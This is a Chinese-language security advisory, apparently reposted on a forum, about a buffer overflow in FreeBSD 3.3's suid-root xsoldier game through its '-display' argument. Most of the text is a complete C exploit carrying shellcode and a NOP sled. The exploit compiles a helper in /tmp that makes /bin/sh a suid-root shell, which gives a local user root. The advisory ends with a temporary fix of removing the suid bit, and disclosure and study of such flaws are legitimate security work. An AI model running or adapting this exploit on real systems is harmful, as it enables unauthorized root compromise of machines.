FreeBSD 'xsoldier' 缓冲区溢出漏洞 
    受影响的系统: FreeBSD   FreeBSD 3.3    描述:
    某些FreeBSD版本(现在只测试了FreeBSD 3.3-RELEASE)的X11游戏软件包中带 了一个游戏程序xsoldier,它缺省被设置了suid root位,因此它可以在X windows 的控制台运行.    这个程序自身存在一个缓冲区溢出的漏洞,有可能被用来非法获得root权限. 问题出在程序处理"-display"(指定显示内容将被送到哪个X server)参数的部分 .攻击者并不需要指定一个有效的$DISPLAY变量,只需要在命令行提供一个很长的 字符串作为"-display"的参数,就有可能发生缓 冲区溢出.
    测试程序:    警 告
    以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自 负!
    /*    * xsoldier exploit for Freebsd-3.3-RELEASE   * Drops a suid root shell in /bin/sh   * Brock Tellier [email protected]   */
    #include <stdio.h>
    char shell[]= /* [email protected] */   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
    #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
    void buildui() {   FILE *fp;   char cc[100];   fp = fopen("/tmp/ui.c", "w");   fprintf(fp, CODE);   fclose(fp);   snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");   system(cc);   }
    main (int argc, char *argv[] ) {   int x = 0;   int y = 0;   int offset = 0;   int bsize = 4400;   char buf[bsize];   int eip = 0xbfbfdb65; /* works for me */   buildui();
    if (argv[1]) {    offset = atoi(argv[1]);   eip = eip + offset;   }   fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE   <[email protected]>\n");   fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");   fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi ze);
    for ( x = 0; x < 4325; x++) buf[x] = 0x90;   fprintf(stderr, "NOPs to %d\n", x);
    for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];   fprintf(stderr, "Shellcode to %d\n",x);
    buf[x++] = eip & 0x000000ff;   buf[x++] = (eip & 0x0000ff00) >> 8;   buf[x++] = (eip & 0x00ff0000) >> 16;   buf[x++] = (eip & 0xff000000) >> 24;   fprintf(stderr, "eip to %d\n",x);
    buf[bsize]='\0';   execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL );   }
    建议:    目前只有尚未有补丁程序,临时解决方法是chmod u-s xsoldier. 
 
 
  -- 欢迎大家常来回合策略  宗教信仰坐坐。 欢迎光临魔法师学院http://wwwmagic.126.com     *    *    *    *    *        无挂碍故无有恐怖                 --DOS--                                       
  ※ 来源:.网易虚拟社区北京站 http://bj.netease.com.[FROM: 202.106.246.126]
  | 
 
 
 |